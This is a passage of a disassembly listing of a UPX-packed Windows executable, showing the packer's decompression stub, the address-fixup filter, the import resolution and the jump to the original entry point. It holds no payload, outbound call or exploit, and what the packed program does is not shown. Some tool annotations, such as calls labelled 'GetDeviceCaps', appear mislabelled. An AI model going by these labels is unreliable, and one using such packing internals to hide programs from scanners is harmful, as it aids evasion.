		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		cmp	esi, 0FFFFFFh
		mov	[ecx], dx
		ja	short loc_470590
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_470590:				; CODE XREF: UPX1:00470578j
		mov	dx, [ecx+2]
		mov	eax, esi
		shr	eax, 0Bh
		movzx	ebp, dx
		imul	eax, ebp
		cmp	edi, eax
		jnb	short loc_4705DE
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ebp
		shl	dword ptr [esp+44h], 4
		sar	eax, 5
		mov	dword ptr [esp+2Ch], 8
		lea	eax, [edx+eax]
		mov	edx, [esp+44h]
		mov	[ecx+2], ax
		lea	ecx, [ecx+edx+104h]
		mov	[esp+10h], ecx


loc_4705D4:				; CODE XREF: UPX1:00470560j
		mov	dword ptr [esp+30h], 3
		jmp	short loc_47060D
; ---------------------------------------------------------------------------


loc_4705DE:				; CODE XREF: UPX1:004705A1j
		sub	esi, eax
		sub	edi, eax
		mov	eax, edx
		mov	[esp+48h], esi
		shr	ax, 5
		mov	dword ptr [esp+2Ch], 10h
		sub	dx, ax
		mov	dword ptr [esp+30h], 8
		mov	[ecx+2], dx
		add	ecx, 204h
		mov	[esp+10h], ecx


loc_47060D:				; CODE XREF: UPX1:004705DCj
		mov	ecx, [esp+30h]
		mov	edx, 1
		mov	[esp+28h], ecx


loc_47061A:				; CODE XREF: UPX1:0047068Fj
		lea	ebp, [edx+edx]
		mov	esi, [esp+10h]
		add	esi, ebp
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_470645
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_470645:				; CODE XREF: UPX1:0047062Bj
		mov	eax, [esp+48h]
		mov	dx, [esi]
		shr	eax, 0Bh
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	short loc_470671
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ecx
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	edx, ebp
		mov	[esi], ax
		jmp	short loc_470686
; ---------------------------------------------------------------------------


loc_470671:				; CODE XREF: UPX1:00470657j
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	[esi], dx
		lea	edx, [ebp+1]


loc_470686:				; CODE XREF: UPX1:0047066Fj
		mov	esi, [esp+28h]
		dec	esi
		mov	[esp+28h], esi
		jnz	short loc_47061A
		mov	cl, [esp+30h]
		mov	eax, 1
		shl	eax, cl
		sub	edx, eax
		add	edx, [esp+2Ch]
		cmp	dword ptr [esp+60h], 3
		mov	[esp+0Ch], edx
		jg	loc_470898
		add	dword ptr [esp+60h], 7
		cmp	edx, 3
		mov	eax, edx
		jle	short loc_4706C2
		mov	eax, 3


loc_4706C2:				; CODE XREF: UPX1:004706BBj
		mov	esi, [esp+78h]
		shl	eax, 7
		mov	dword ptr [esp+24h], 6
		lea	eax, [esi+eax+360h]
		mov	[esp+8], eax
		mov	eax, 1


loc_4706E1:				; CODE XREF: UPX1:00470756j
		lea	ebp, [eax+eax]
		mov	esi, [esp+8]
		add	esi, ebp
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_47070C
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_47070C:				; CODE XREF: UPX1:004706F2j
		mov	eax, [esp+48h]
		mov	dx, [esi]
		shr	eax, 0Bh
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	short loc_470738
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ecx
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	[esi], ax
		mov	eax, ebp
		jmp	short loc_47074D
; ---------------------------------------------------------------------------


loc_470738:				; CODE XREF: UPX1:0047071Ej
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		lea	eax, [ebp+1]
		mov	[esi], dx


loc_47074D:				; CODE XREF: UPX1:00470736j
		mov	ebp, [esp+24h]
		dec	ebp
		mov	[esp+24h], ebp
		jnz	short loc_4706E1
		lea	edx, [eax-40h]
		cmp	edx, 3
		mov	[esp], edx
		jle	loc_47088E
		mov	eax, edx
		mov	esi, edx
		sar	eax, 1
		and	esi, 1
		lea	ecx, [eax-1]
		or	esi, 2
		cmp	edx, 0Dh
		mov	[esp+20h], ecx
		jg	short loc_47079B
		mov	ebp, [esp+78h]
		shl	esi, cl
		add	edx, edx
		mov	[esp], esi
		lea	eax, [ebp+esi*2+0]
		sub	eax, edx
		add	eax, 55Eh
		mov	[esp+4], eax
		jmp	short loc_4707F1
; ---------------------------------------------------------------------------


loc_47079B:				; CODE XREF: UPX1:0047077Dj
		lea	edx, [eax-5]


loc_47079E:				; CODE XREF: UPX1:004707D4j
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_4707C0
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_4707C0:				; CODE XREF: UPX1:004707A6j
		shr	dword ptr [esp+48h], 1
		add	esi, esi
		cmp	edi, [esp+48h]
		jb	short loc_4707D3
		sub	edi, [esp+48h]
		or	esi, 1


loc_4707D3:				; CODE XREF: UPX1:004707CAj
		dec	edx
		jnz	short loc_47079E
		mov	eax, [esp+78h]
		shl	esi, 4
		mov	[esp], esi
		add	eax, 644h
		mov	dword ptr [esp+20h], 4
		mov	[esp+4], eax


loc_4707F1:				; CODE XREF: UPX1:00470799j
		mov	dword ptr [esp+1Ch], 1
		mov	eax, 1


loc_4707FE:				; CODE XREF: UPX1:00470888j
		mov	ebp, [esp+4]
		add	eax, eax
		mov	[esp+18h], eax
		add	ebp, eax
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_47082C
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_47082C:				; CODE XREF: UPX1:00470812j
		mov	eax, [esp+48h]
		mov	dx, [ebp+0]
		shr	eax, 0Bh
		movzx	esi, dx
		imul	eax, esi
		cmp	edi, eax
		jnb	short loc_47085C
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, esi
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	[ebp+0], ax
		mov	eax, [esp+18h]
		jmp	short loc_47087B
; ---------------------------------------------------------------------------


loc_47085C:				; CODE XREF: UPX1:0047083Fj
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	eax, [esp+18h]
		mov	[ebp+0], dx
		mov	edx, [esp+1Ch]
		inc	eax
		or	[esp], edx


loc_47087B:				; CODE XREF: UPX1:0047085Aj
		mov	ecx, [esp+20h]
		shl	dword ptr [esp+1Ch], 1
		dec	ecx
		mov	[esp+20h], ecx
		jnz	loc_4707FE


loc_47088E:				; CODE XREF: UPX1:00470761j
		mov	esi, [esp]
		inc	esi
		mov	[esp+5Ch], esi
		jz	short loc_4708F1


loc_470898:				; CODE XREF: UPX1:004706ABj
		mov	ecx, [esp+0Ch]
		mov	ebp, [esp+74h]
		add	ecx, 2
		cmp	[esp+5Ch], ebp
		ja	short loc_470908
		mov	eax, [esp+0A0h]
		mov	edx, ebp
		sub	eax, [esp+5Ch]
		add	edx, [esp+0A0h]
		lea	esi, [eax+ebp]


loc_4708C0:				; CODE XREF: UPX1:004708DCj
		mov	al, [esi]
		inc	esi
		mov	[esp+73h], al
		mov	[edx], al
		inc	edx
		inc	dword ptr [esp+74h]
		dec	ecx
		jz	short loc_4708E0
		mov	ebp, [esp+0A4h]
		cmp	[esp+74h], ebp
		jb	short loc_4708C0
		jmp	short loc_4708F1
; ---------------------------------------------------------------------------


loc_4708E0:				; CODE XREF: UPX1:004701C0j
					; UPX1:004701D1j ...
		mov	eax, [esp+0A4h]
		cmp	[esp+74h], eax
		jb	loc_46FFAC


loc_4708F1:				; CODE XREF: UPX1:00470896j
					; UPX1:004708DEj
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_470910
		cmp	ebx, [esp+4Ch]
		mov	eax, 1
		jz	short loc_47092F
		jmp	short loc_47090F
; ---------------------------------------------------------------------------


loc_470908:				; CODE XREF: UPX1:0046FF86j
					; UPX1:0046FFD6j ...
		mov	eax, 1
		jmp	short loc_47092F
; ---------------------------------------------------------------------------


loc_47090F:				; CODE XREF: UPX1:00470906j
		inc	ebx


loc_470910:				; CODE XREF: UPX1:0046FFA6j
					; UPX1:004708F9j
		sub	ebx, [esp+94h]
		xor	eax, eax
		mov	edx, [esp+9Ch]
		mov	ecx, [esp+74h]
		mov	[edx], ebx
		mov	ebx, [esp+0A8h]
		mov	[ebx], ecx


loc_47092F:				; CODE XREF: UPX1:00470904j
					; UPX1:0047090Dj
		add	esp, 7Ch
		pop	ebx
		pop	esi
		pop	edi
		pop	ebp
		add	esi, [ebx-4]
		add	edi, [ebx-8]
		xor	eax, eax
		lea	ecx, [esp-100h]
		mov	esp, ebp


loc_470947:				; CODE XREF: UPX1:0047094Aj
		push	eax
		cmp	esp, ecx
		jnz	short loc_470947
		mov	esp, ebp
		xor	ecx, ecx
		pop	esi
		mov	edi, esi
		mov	ecx, 1BA00h
		jmp	short loc_47098C
; ---------------------------------------------------------------------------


loc_47095A:				; CODE XREF: UPX1:00470999j
		mov	al, [edi]
		add	edi, 1
		cmp	al, 80h
		jb	short loc_47096D
		cmp	al, 8Fh
		ja	short loc_47096D
		cmp	byte ptr [edi-2], 0Fh
		jz	short loc_470973


loc_47096D:				; CODE XREF: UPX1:00470961j
					; UPX1:00470965j ...
		sub	al, 0E8h
		cmp	al, 1
		ja	short loc_470996


loc_470973:				; CODE XREF: UPX1:0047096Bj
		cmp	byte ptr [edi],	11h
		jnz	short loc_470996
		mov	eax, [edi]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 4


loc_47098C:				; CODE XREF: UPX1:00470958j
		sub	ecx, 4
		mov	al, [edi]
		add	edi, 1
		loop	loc_47096D


loc_470996:				; CODE XREF: UPX1:00470971j
					; UPX1:00470976j
		sub	ecx, 1
		jg	short loc_47095A
		lea	edi, [esi+6C000h]


loc_4709A1:				; CODE XREF: UPX1:004709C3j
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_4709EC
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+71074h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+71150h]
		xchg	eax, ebp


loc_4709BE:				; CODE XREF: UPX1:004709E4j
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_4709A1
		mov	ecx, edi
		jns	short near ptr loc_4709CF+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_4709CF:				; CODE XREF: UPX1:004709C7j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+71154h]
		or	eax, eax
		jz	short loc_4709E6
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_4709BE
; ---------------------------------------------------------------------------


loc_4709E6:				; CODE XREF: UPX1:004709DDj
		call	dword ptr [esi+71164h]


loc_4709EC:				; CODE XREF: UPX1:004709A5j
		mov	ebp, [esi+71158h]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp	; GetDeviceCaps
		lea	eax, [edi+21Fh]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp	; GetDeviceCaps
		pop	eax
		popa
		lea	eax, [esp-80h]


loc_470A20:				; CODE XREF: UPX1:00470A24j
		push	0
		cmp	esp, eax
		jnz	short loc_470A20
		sub	esp, 0FFFFFF80h
		jmp	loc_40BD35
; ---------------------------------------------------------------------------
		align 10h
		dd 48h,	0Eh dup(0)
		dd offset dword_42A034
		dd offset dword_4266B0
		dd 3Ah,	162h dup(0)
UPX1		ends

; Section 4. (virtual address 00073000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00073000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 473000h
		align 2000h
_idata2		ends


		end start